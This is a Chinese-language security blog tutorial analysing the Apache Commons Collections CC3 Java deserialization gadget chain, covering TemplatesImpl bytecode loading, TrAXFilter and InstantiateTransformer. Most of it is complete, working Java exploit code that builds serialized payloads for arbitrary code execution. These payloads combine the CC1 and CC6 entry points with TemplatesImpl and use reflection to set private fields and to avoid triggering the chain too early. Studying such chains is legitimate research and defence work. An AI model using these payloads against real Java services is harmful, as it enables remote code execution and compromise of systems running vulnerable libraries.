Java反序列化利用鏈篇 | CC3鏈分析、TemplatesImpl類中的呼叫鏈、TrAXFilter、InstantiateTransformer類的transform()【本系列文章的分析重點】

leyilea發表於2024-09-23

CC3鏈分析

1. CC3鏈背景

前面介紹了CC1和CC6,這兩條鏈子雖然前面的入口類不同

  • CC1入口類是AnnotationInvocationHandler
  • CC6入口類是HashMap

但是其觸發惡意程式碼的方式是相同的,都是InvokerTransformer.transform()觸發Runtime.getRuntime().exec()實現命令執行。

而在很多情況下,Runtime.getRuntime().exec()方式會被伺服器所禁止(程式碼黑名單),導致最終利用鏈無法執行。

而除了Runtime.getRuntime().exec()這種方式之外,還有別的方式能夠觸發惡意程式碼嗎?

答案是有的:就是透過類載入機制載入惡意類,執行惡意程式碼。

CC3鏈則是前面的入口類不變,而後面執行惡意程式碼利用的是類載入機制載入惡意類的方式。

2. CC3鏈環境

環境還是使用CC1鏈的環境:

  • Apache Commons Collections 3.2.1
  • JDK 8u66

3. CC3鏈中使用的動態類載入機制

通常情況下,實戰中使用動態類載入機制載入惡意類的方式有以下幾種:

  • URLClassLoader 任意類載入
  • ClassLoader.defineClass 位元組碼載入任意類(私有方法)
  • Unsafe.defineClass 位元組碼載入(公有方法),但類不能直接生成,Spring中可以直接生成

而CC3鏈則是利用的ClassLoader.defineClass 位元組碼載入任意類(私有方法)

ClassLoader.defineClass 位元組碼載入任意類方式為:

// 獲取一個classLoader物件
ClassLoader cl = ClassLoader.getSystemClassLoader();
// 透過反射獲取到ClassLoad類中的defineClass方法物件
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
// Test類的位元組碼
byte[] code = Files.readAllBytes(Paths.get("Test.class檔案路徑"));
// 相當於執行了 cl.defineClass("Test",code,0,code.length),即透過位元組碼建立了一個名為Test的類
Class c = (Class) defineClassMethod.invoke(cl,"Test",code,0,code.length);
// 對Test類例項化
Test testObj = c.newInstance();

4. TemplatesImpl類的利用方式

TemplatesImpl類的利用也是比較常用的,這裡單獨拿出來說一下~
當然也是CC3鏈中的一環。

4.1. TemplatesImpl類中的呼叫鏈

先定位到java/lang/ClassLoader中的defineClass()方法:

透過defineClass()方法可以載入一個類位元組碼,生成一個類物件。如果類位元組碼中存在惡意的內容,則會執行。

接下來尋找一下哪裡呼叫了defineClass()方法,和其他利用鏈一樣,最終需要找到readObject()

Alt+F7尋找一下defineClass()方法的呼叫(注意選擇All Places)

找到TemplatesImpl.TransletClassLoader中的defineClass()

繼續尋找TemplatesImpl.TransletClassLoader中的defineClass()方法的呼叫:

找到TemplatesImpl.defineTransletClasses中的defineClass()呼叫

繼續尋找defineTransletClasses()方法的呼叫:

尋找到TemplatesImpl.getTransletInstance()方法中存在其呼叫

需要getTransletInstance()方法的呼叫:

尋找到TemplatesImpl.newTransformer()方法中存在其呼叫

TemplatesImpl.newTransformer()方法由public修飾,可以直接呼叫

這裡可以先測試下這一呼叫關係,呼叫TemplatesImpl.newTransformer()方法嘗試觸發動態類載入,實現惡意程式碼執行~

此時的呼叫鏈為:

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass

4.2. 構造TemplatesImpl類中的呼叫鏈的payload

接下來我們構造一下當前的呼叫鏈的payload,使其呼叫TemplatesImpl.newTransformer()時,載入惡意類,觸發惡意程式碼。

透過剛才的分析,當呼叫到newTransformer()方法時,會觸發一系列的呼叫,當然,我們要解決中間的一些“阻礙”。

首先建立一個TemplatesImpl物件:

TemplatesImpl templates = new TemplatesImpl();

接下來呼叫newTransformer()方法:

templates.newTransformer();

此時的整體程式碼為:

TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();

此時執行程式碼,並不會執行惡意程式碼,因為我們連惡意類位元組碼還沒呢!此時只是呼叫了newTransformer()方法而已,呼叫鏈並不能成功執行下去。

但是我們開頭和結尾已經有了,接下來需要在中間將引數、限制條件等解決掉。

假如現在我們已經執行了newTransformer()方法,那麼到底是什麼內容限制了呼叫鏈的成功執行呢?

一步一步看:

首先呼叫newTransformer()方法後,我們透過呼叫鏈得知,接下來需要呼叫TemplatesImpl.getTransletInstance()方法,而在newTransformer()方法內部可以發現,並沒有什麼可以阻礙程式碼執行到getTransletInstance()方法,所以這裡“過~”

接下來,是需要呼叫TemplatesImpl.defineTransletClasses()方法,進入getTransletInstance()方法看一下:

從這裡可以發現,這裡有兩道坎,一個是_name,一個是_class,我們需要滿足:

  • _name 不能為null
  • _class必須是null

因為這些屬性預設就是null,所以我們需要給_name賦值,使其不是null。

透過檢視_name屬性在該類中的賦值情況,發現並不好賦值,所以接下來我們透過反射,給_name屬性賦值:

Class templatesClass = templates.getClass();
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa"); 

此時payload程式碼如下:

TemplatesImpl templates = new TemplatesImpl();

Class templatesClass = templates.getClass();
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");

templates.newTransformer();

此時執行,還是執行不成功。因為後面還是有別的限制的,繼續分析~

現在能成功呼叫defineTransletClasses()方法了,根據呼叫鏈得知,接下來需要呼叫TransletClassLoader.defineClass()方法。

進入到defineTransletClasses()方法內部:

發現,這裡有一個限制,就是_bytecodes屬性,不能為空,否則報異常。

看看_bytecodes屬性,發現是一個二維陣列:

並且在呼叫defineClass()方法的位置,_bytecodes[i]會當做defineClass()方法的引數傳入。

一步步進入defineClass()方法後會發現,最後呼叫了ClassLoader.defineClass(),當然這裡就是前面所說的呼叫鏈。

這裡我們關注_bytecodes[i]引數,最終會成為ClassLoader.defineClass()方法的byte[] b,也就是說最終透過defineClass方式載入的類位元組碼。

這裡先準備個.class的惡意檔案:

1)建立惡意類

2)構建專案

3)將生成的Test.class惡意檔案放入一個目錄中(隨意)

我這裡放的位置為:E:\_JavaProject\temp\Test.class

準備好.class檔案之後,接下來給_bytecodes屬性賦值,注意它是一個二維陣列,傳入defineClass()方法的是_bytecodes[i],所以我們載入的.class檔案的位元組碼內容,應該放在_bytecodes[i]處。

相關程式碼如下:

Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 將要載入的類位元組碼放進去

此時的payload為:

TemplatesImpl templates = new TemplatesImpl();

Class templatesClass = templates.getClass();
// 賦值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 賦值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 將要載入的類位元組碼放進去

templates.newTransformer();

但是此時執行,還是不行。經過除錯,發現defineTransletClasses()方法中用到的_tfactory也不能為null:

接下來安裝同樣的方法,將_tfactory也設定上內容,

檢視一下_tfactory的型別:

發現是TransformerFactoryImpl型別,但是被transient修飾,也就是說不能進行序列化。

那這不完了嗎?我們所說的這個鏈是用於反序列化的,不能序列化那後面用不了啊 。

用不了的解釋:即使現在將_tfactory手動賦值了,能完成此時的呼叫鏈執行,但是序列化的時候不會序列化進去,那反序列化的時候_tfactory還是為空,執行到這的時候還是執行不下去~

但是~說巧不巧,TemplatesImpl類的readObject()方法中存在_tfactory賦值:

這意味著什麼呢?

意味著,即使我們沒有將_tfactory序列化進去,但是執行readObject()即反序列的時候,同樣會給_tfactory賦值!這樣就不用擔心_tfactory為null了。

OK,接下來透過相同的方式給_tfactory賦值:

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

此時完整的payload為:

TemplatesImpl templates = new TemplatesImpl();

Class templatesClass = templates.getClass();
// 賦值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 賦值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 將要載入的類位元組碼放進去
// 賦值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

templates.newTransformer();

但是此時執行,還是執行不了。

並且報NullPointerException空指標異常的錯誤。

當我們透過斷點除錯,發現

這裡有個判斷:

  if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
      _transletIndex = i;
  }
  else {
      _auxClasses.put(_class[i].getName(), _class[i]);
  }

即動態載入的類的父類需要是ABSTRACT_TRANSLET,即AbstractTranslet

如果不是,就會進入到else語句,而此時的_auxClasses為null,因此會報NullPointerException空指標異常的錯誤。

這裡解決方式,也很簡單,不然語句進入else即可,即將我們動態載入的類繼承一下AbstractTranslet即可。

因此,Test.java的程式碼修改為:

然後再載入其.class即可。

5. CC1鏈和CC6鏈與TemplatesImpl類的結合使用

透過上面的分析,我們只需要執行templates.newTransformer(),就可以實現惡意程式碼的執行。

那麼如何在反序列化時執行templates.newTransformer()呢?其實方式很多,比如利用之前CC1和CC6鏈的前半段中的InvokerTransformer.transformer()就可以執行任意方法。

在CC1鏈的分析中:使用InvokerTransformer物件呼叫transform()方法,會以反射的方式執行任意方法。

所以我們也可以透過InvokerTransformer.transformer()來執行templates.newTransformer(),進而執行到惡意程式碼。

這裡就是解決CC1、CC6的前半段和TemplatesImpl類的命令執行實現的,其實和CC1、CC6也差不多,只是換了命令執行的方式:

  • 之前是Runtime.getRuntime().exec()方式執行惡意程式碼。
  • 現在是templates.newTransformer()動態類載入任意類方式執行惡意程式碼。

📌其實這種結合方式很多,各個鏈子之間也可以拆開組合,形成十幾條鏈子都是沒問題的~

5.1. CC1-1鏈與TemplatesImpl類結合使用

這裡的呼叫鏈是使用CC1-1鏈的前半段+TemplatesImpl類呼叫鏈。

sun.reflect.annotation.AnnotationInvocationHandler#readObject
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue
org.apache.commons.collections.map.TransformedMap#checkSetValue
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass


在payload程式碼中只有transformerArray需要修改一下,其他都是一樣的。

TemplatesImpl templates = new TemplatesImpl();

Class templatesClass = templates.getClass();
// 賦值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 賦值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 將要載入的類位元組碼放進去
// 賦值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();
// 使用CC1鏈的前半段,只有transformerArray不同,其他都是一樣的
Transformer[] transformerArray = new Transformer[]{
        // 傳入templates,返回templates,當做下一個transformer的呼叫者
        new ConstantTransformer(templates),
        // 這裡在反序列化時,會觸發templates.newTransformer()
        new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

HashMap map = new HashMap();
map.put("value","I am leyilea!");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);

SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");

5.2. CC1-2鏈與TemplatesImpl類結合使用

這裡的呼叫鏈是使用CC1-2鏈的前半段+TemplatesImpl類呼叫鏈。

sun.reflect.annotation.AnnotationInvocationHandler#readObject
sun.reflect.annotation.AnnotationInvocationHandler#invoke
org.apache.commons.collections.map.LazyMap#get
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass

在payload程式碼中只有transformerArray需要修改一下,其他都是一樣的。

TemplatesImpl templates = new TemplatesImpl();

Class templatesClass = templates.getClass();
// 賦值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 賦值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 將要載入的類位元組碼放進去
// 賦值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();
// 使用CC1鏈的前半段,只有transformerArray不同,其他都是一樣的
Transformer[] transformerArray = new Transformer[]{
        // 傳入templates,返回templates,當做下一個transformer的呼叫者
        new ConstantTransformer(templates),
        // 這裡在反序列化時,會觸發templates.newTransformer()
        new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);


Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);
mapProxy.entrySet();

InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Target.class, mapProxy);


SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");
}

5.3. CC6鏈與TemplatesImpl類結合使用

這裡的呼叫鏈是使用CC1-1鏈的前半段+TemplatesImpl類呼叫鏈。

java.util.HashMap#readObject()
java.util.HashMap#hash
org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
org.apache.commons.collections.keyvalue.TiedMapEntry#getValue
org.apache.commons.collections.map.LazyMap#get
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass


在payload程式碼中只有transformerArray需要修改一下,其他都是一樣的。

5.4. 呼叫鏈組合小總結

可以看到,很多呼叫鏈都是換湯不換藥,呼叫鏈包含以下三個部分:

  • 入口類 source
  • 呼叫鏈 gadget chain
  • 執行類 sink

其中執行類sink有兩種:

  • Runtime.getRuntime().exec()方式執行惡意程式碼。
  • templates.newTransformer()動態類載入任意類方式執行惡意程式碼。

而入口類source和呼叫鏈gadget chain可以有很多組合,Java反序列化CC呼叫鏈中都是不同的組合型別。

6. CC3鏈分析

有了以上的這些知識之後,再來分析CC3鏈會非常簡單(當然其他CC鏈也會非常好理解了)。

好,進入正題!

其實CC3鏈和“CC1-2和TemplatesImpl類”的組合很相似。只是在中間的呼叫鏈部分多了一些內容。

6.1. TrAXFilter

在之前瞭解的TemplatesImpl類的利用方式,我們需要執行TemplatesImpl.newTransformer()來觸發動態類載入,執行惡意程式碼。

當時使用的是直接例項化TemplatesImpl物件,然後呼叫newTransformer()

其實也可以尋找在哪裡有呼叫newTransformer()方法,比如下面的TrAXFilter類的構造方法中就存在其呼叫(這也是CC3鏈中使用的)。

TrAXFilter類的構造方法中,接收一個Templates物件作為引數,而TemplatesImpl類繼承自Templates,所以TemplatesImpl類的呼叫鏈中的TemplatesImpl物件也可以當做其引數。

所以,我們可以將TemplatesImpl類中的呼叫鏈的payload做一下簡單修改,同樣可以觸發惡意程式碼:

templates.newTransformer();

修改為

new TrAXFilter(templates);

此時會呼叫TrAXFilter的構造方法,進而執行templates.newTransformer()

此時完整的payload程式碼如下:

TemplatesImpl templates = new TemplatesImpl();

Class templatesClass = templates.getClass();
// 賦值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 賦值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 將要載入的類位元組碼放進去
// 賦值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();
new TrAXFilter(templates);

可以看到,可以正常執行惡意程式碼:

那麼接下來繼續尋找TrAXFilter()構造方法的呼叫,雖然有,但是不是我們想要的(這裡可以自行分析一下)。

接下來我們瞭解一個InstantiateTransformer類,這是CC3鏈中使用到的,也是CC3鏈的重點。

6.2. InstantiateTransformer類的transform()

InstantiateTransformer類的構造方法和transform()方法如下:

透過分析transform()方法,會發現,它的作用是

  • 將傳入的input物件先進行判斷,如果是Class物件則跳過判斷,進入後面的程式碼
  • 後面的程式碼是透過getConstructor()方法獲取到input類物件的構造方法物件Constructor
  • 之後透過newInstance()方法,獲取到對應的input類的例項物件之後返回
  • 其中iParamTypesiArgs為對應方法的引數,在構造方法中有賦值

因此有了InstantiateTransformertransform()方法,我們可以透過此方式來建立TrAXFilter物件,即呼叫TrAXFilter的構造方法,觸發惡意程式碼。

所以可以將new TrAXFilter(templates)進行修改:

  • transform()方法的引數inputTrAXFilter.class
  • iParamTypes屬性為TrAXFilter構造方法的引數型別即new Class[]{Templates.class}
  • iArgs屬性為TrAXFilter構造方法的引數即new Object[]{templates}
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

同樣可以執行惡意程式碼:

6.3. 完成最後的衝刺

那接下來就是尋找transform()方法的呼叫,其實這裡可以接上CC1的前半部分呼叫鏈了,透過ChainedTransformer來進行呼叫。即將instantiateTransformer放入ChainedTransformer鏈中,然後按照CC1的方式呼叫即可。

相關程式碼如下:

//        templates.newTransformer();
//        new TrAXFilter(templates);

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);

Transformer[] transformerArray = new Transformer[]{
        // 傳入TrAXFilter.class,返回TrAXFilter.class,當做下一個transform的引數
        new ConstantTransformer(TrAXFilter.class),
        instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

可以簡單整理一下:

Transformer[] transformerArray = new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

6.3.1. 結合CC1-2鏈的呼叫鏈

所以完整payload就可以修改為如下:

TemplatesImpl templates = new TemplatesImpl();

Class templatesClass = templates.getClass();
// 賦值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 賦值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 將要載入的類位元組碼放進去
// 賦值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

Transformer[] transformerArray = new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

// 2. 建立LazyMap物件
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,會呼叫map.get(),其中將map屬性設定為LazyMap物件
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
//        tiedMapEntry.getValue();
// 4. TiedMapEntry.hashCode()方法,會呼叫TiedMapEntry.getValue()
//        tiedMapEntry.hashCode();
// 5. 完成HashMap.hash()及HashMap.readObject()
HashMap hashMap = new HashMap();
// 6. 解決hash提前觸發問題
// 1)獲取到tiedMapEntry的map屬性(map屬性存放的就是lazyMap)
Field mapField = tiedMapEntry.getClass().getDeclaredField("map");
mapField.setAccessible(true);
// 2)將map屬性設定為一個空的map物件(除上面建立的lazyMap都行)
mapField.set(tiedMapEntry,new HashMap());
// 3)執行之前的put操作,此時tiedMapEntry物件是不完整的
hashMap.put(tiedMapEntry,"aaa");  // 將tiedMapEntry當做key存入hashMap
// 4)完成put操作後,再將其設定為lazyMap物件
mapField.set(tiedMapEntry,lazyMap);

SerAndUnser.serialize(hashMap);
SerAndUnser.unserialize("ser.bin");

這裡結合的是CC1鏈的第2條CC1-2鏈,即LazyMap的方式,其實也可以使用CC1-1鏈,都是一樣的,只是呼叫方式有點不同。

6.3.2. 結合CC1-1鏈的呼叫鏈

相關的payload如下:

TemplatesImpl templates = new TemplatesImpl();

Class templatesClass = templates.getClass();
// 賦值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 賦值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 將要載入的類位元組碼放進去
// 賦值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

Transformer[] transformerArray = new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

HashMap map = new HashMap();
map.put("value","I am leyilea!");

Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);

SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");

7. CC1-1、CC1-2、CC3、CC6呼叫鏈總結

8. 參考連結

Java反序列化Commons-Collection篇03-CC3鏈 - 1vxyz - 部落格園 (cnblogs.com)

相關文章